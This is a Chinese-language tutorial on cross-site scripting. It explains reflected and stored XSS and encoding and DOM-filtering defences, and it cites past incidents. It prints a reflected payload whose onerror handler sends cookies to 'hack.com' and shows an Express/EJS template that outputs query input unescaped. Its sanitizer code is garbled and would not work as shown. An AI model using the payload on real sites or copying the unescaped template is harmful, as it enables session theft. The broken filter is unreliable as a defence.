Web安全之跨站腳本攻擊(XSS)
什么是XSS
跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當(dāng)用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執(zhí)行,從而達到惡意攻擊用戶的目的。
XSS的攻擊場景
- 反射型這類攻擊方式主要借助URL來實施。URL的構(gòu)成分為協(xié)議、域名、端口、路徑、查詢幾部分構(gòu)成。如圖所示:
- XSS往往在“查詢”部分發(fā)現(xiàn)漏洞構(gòu)造攻擊代碼實施攻擊,所謂“反射”可以理解為hacker并不會直接攻擊客戶,而是通過URL植入代碼通過服務(wù)器獲取并植入到用戶頁面完成攻擊。攻擊流程圖如下:
- 存儲型存儲型攻擊方式和反射型最大的區(qū)別就是不通過URL來傳播,而是利用站點本身合法的存儲結(jié)構(gòu),比如評論。任何用戶都可以通過站點提供的接口提交評論內(nèi)容,這些評論內(nèi)容都被存儲到服務(wù)器的數(shù)據(jù)庫。當(dāng)用戶訪問這些評論的時候,服務(wù)器從數(shù)據(jù)庫提取內(nèi)容插入到頁面反饋給用戶。如果評論內(nèi)容本身是具備攻擊性內(nèi)容,用戶無一幸免。攻擊流程圖如下:
從上下兩個流程圖來看,反射型和存儲型的攻擊方式是本質(zhì)不同的,前者需要借助各種社交渠道傳播具備攻擊的URL來實施,后者通過網(wǎng)站本身的存儲漏洞,攻擊成本低很多,而且傷害力更大。
XSS的工作原理
不管是反射型還是存儲型,服務(wù)端都會將JavaScript當(dāng)做文本處理,這些文本在服務(wù)端被整合進html文檔中,在瀏覽器解析這些文本的過程也就是XSS被執(zhí)行的時候。
從攻擊到執(zhí)行分為以下幾步:
- 構(gòu)造攻擊代碼
- 服務(wù)端提取并寫入HTML
- 瀏覽器解析,XSS執(zhí)行
構(gòu)造攻擊代碼
hacker在發(fā)現(xiàn)站點對應(yīng)的漏洞之后,基本可以確定是使用“反射型”或者“存儲型”。對于反射型這個很簡單了,執(zhí)行類似代碼:
- https://www.toutiao.com/search?item=<img onerror="new Image().src='//hack.com?c=' src='null'>"
大家知道很多站點都提供搜索服務(wù),這里的item字段就是給服務(wù)端提供關(guān)鍵詞。如果hacker將關(guān)鍵詞修改成可執(zhí)行的JavaScript語句,如果服務(wù)端不加處理直接將類似代碼回顯到頁面,XSS代碼就會被執(zhí)行。
這段代碼的含義是告訴瀏覽器加載一張圖片,圖片的地址是空,根據(jù)加載機制空圖片的加載會觸發(fā)Element的onerror事件,這段代碼的onerror事件是將本地cookie傳到指定的網(wǎng)站。
很明顯,hacker可以拿到“中招”用戶的cookie,利用這個身份就可以拿到很多隱私信息和做一些不當(dāng)?shù)男袨榱恕?/p>
對于存儲型直接通過讀取數(shù)據(jù)庫將內(nèi)容打到接口上就可以了。
服務(wù)端提取并寫入HTML
我們以 Node.js 應(yīng)用型框架express.js為例:
服務(wù)端代碼(express.js)
- router.get('/', function (req, res, next) {
- res.render('index', {
- title: 'Express',
- search: req.query.item
- });
- });
ejs模板
- <p>
- <%- search %>
- </p>
這里列舉了以反射型為主的服務(wù)端代碼,通過獲取URL的查詢res.query.item,最后在模板中輸出內(nèi)容。對于存儲型的區(qū)別是通過數(shù)據(jù)庫拿到對應(yīng)內(nèi)容,模板部分一致。
瀏覽器解析,XSS執(zhí)行
從這個圖上來看瀏覽器解析主要做三件事:
- 將文檔解析成DOM Tree
- 解析CSS成規(guī)則樹
- Javascript解析
在這個過程,XSS的代碼從文本變的可執(zhí)行。
XSS的防范措施
編碼
對于反射型的代碼,服務(wù)端代碼要對查詢進行編碼,主要目的就是將查詢文本化,避免在瀏覽器解析階段轉(zhuǎn)換成DOM和CSS規(guī)則及JavaScript解析。
常見的HTML實體編碼如下:
除了編碼和解碼,還需要做額外的共奏來解決富文本內(nèi)容的XSS攻擊。
我們知道很多場景是允許用戶輸入富文本,而且也需要將富文本還原。這個時候就是hacker容易利用的點進行XSS攻擊。
DOM Parse和過濾
從XSS工作的原理可知,在服務(wù)端進行編碼,在模板解碼這個過程對于富文本的內(nèi)容來說,完全可以被瀏覽器解析到并執(zhí)行,進而給了XSS執(zhí)行的可乘之機。
為了杜絕悲劇發(fā)生,我們需要在瀏覽器解析之后進行解碼,得到的文本進行DOM parse拿到DOM Tree,對所有的不安全因素進行過濾,最后將內(nèi)容交給瀏覽器,達到避免XSS感染的效果。
具體原理如下:
- 解碼
- var unescape = function(html, options) {
- options = merge(options, decode.options);
- var strict = options.strict;
- if (strict && regexInvalidEntity.test(html)) {
- parseError('malformed character reference');
- }
- return html.replace(regexDecode, function($0, $1, $2, $3, $4, $5, $6, $7) {
- var codePoint;
- var semicolon;
- var decDigits;
- var hexDigits;
- var reference;
- var next;
- if ($1) {
- // Decode decimal escapes, e.g. ``.
- decDigits = $1;
- semicolon = $2;
- if (strict && !semicolon) {
- parseError('character reference was not terminated by a semicolon');
- }
- codePoint = parseInt(decDigits, 10);
- return codePointToSymbol(codePoint, strict);
- }
- if ($3) {
- // Decode hexadecimal escapes, e.g. ``.
- hexDigits = $3;
- semicolon = $4;
- if (strict && !semicolon) {
- parseError('character reference was not terminated by a semicolon');
- }
- codePoint = parseInt(hexDigits, 16);
- return codePointToSymbol(codePoint, strict);
- }
- if ($5) {
- // Decode named character references with trailing `;`, e.g. `©`.
- reference = $5;
- if (has(decodeMap, reference)) {
- return decodeMap[reference];
- } else {
- // Ambiguous ampersand. https://mths.be/notes/ambiguous-ampersands
- if (strict) {
- parseError(
- 'named character reference was not terminated by a semicolon'
- );
- }
- return $0;
- }
- }
- // If we’re still here, it’s a legacy reference for sure. No need for an
- // extra `if` check.
- // Decode named character references without trailing `;`, e.g. `&`
- // This is only a parse error if it gets converted to `&`, or if it is
- // followed by `=` in an attribute context.
- reference = $6;
- next = $7;
- if (next && options.isAttributeValue) {
- if (strict && next == '=') {
- parseError('`&` did not start a character reference');
- }
- return $0;
- } else {
- if (strict) {
- parseError(
- 'named character reference was not terminated by a semicolon'
- );
- }
- // Note: there is no need to check `has(decodeMapLegacy, reference)`.
- return decodeMapLegacy[reference] + (next || '');
- }
- });
- };
- DOM Parse和過濾
- var parse=function(str){
- var results='';
- try {
- HTMLParser(str,{
- start:function(tag,attrs,unary){
- if(tag=='script' || tag=='style'|| tag=='img'|| tag=='link'){
- return
- }
- results+="";
- },
- end:function(tag){
- results+=""+tag+">";
- },
- chars:function(text){
- results+=text;
- },
- comment:function(){
- results+="';
- }
- })
- return results;
- } catch (e) {
- } finally {
- }
- };
- var dst=parse(str);
在此展示了部分代碼,其中DOM Parse可以采用第三方的Js庫來完成。
XSS的危害
相信大家都對XSS了有一定的了解,下面列舉幾個XSS影響比較大的事件供參考,做到警鐘長鳴。
- 微博遭受攻擊案例2011年6月28日晚,新浪微博遭遇到XSS蠕蟲攻擊侵襲,在不到一個小時的時間,超過3萬微博用戶受到該XSS蠕蟲的攻擊。此事件給嚴重依賴社交網(wǎng)絡(luò)的網(wǎng)友們敲響了警鐘。在此之前,國內(nèi)多家著名的SNS網(wǎng)站和大型博客網(wǎng)站都曾遭遇過類似的攻擊事件,只不過沒有形成如此大規(guī)模傳播。雖然此次XSS蠕蟲攻擊事 件中,惡意黑客攻擊者并沒有在惡意腳本中植入掛馬代碼或其他竊取用戶賬號密碼信息的腳本,但是這至少說明,病毒木馬等黑色產(chǎn)業(yè)已經(jīng)將眼光投放到這個尚存漏洞的領(lǐng)域。
- 貓撲遭受攻擊案例曾經(jīng)在貓撲大雜燴中存在這樣一個XSS漏洞,在用戶發(fā)表回復(fù)的時候,程序?qū)τ脩舭l(fā)表的內(nèi)容做了嚴格的過濾,但是我不知道為什么,當(dāng)用戶編輯回復(fù)內(nèi)容再次發(fā)表的時候,他卻采用了另外一種不同的過濾方式,而這種過濾方式顯然是不嚴密的,因此導(dǎo)致了XSS漏洞的出現(xiàn)。試想一下,像貓撲這樣的大型社區(qū),如果在一篇熱帖中,利用XSS漏洞來使所有的瀏覽這篇帖子的用戶都在不知不覺之中訪問到了另外一個站點,如果這個站點同樣是大型站點還好,但如果是中小型站點那就悲劇了,這將會引來多大的流量啊!更可怕的是,這些流量全部都是真實有效的!
如果本文有描述不準(zhǔn)確或錯誤,歡迎大家指正……,不勝感激。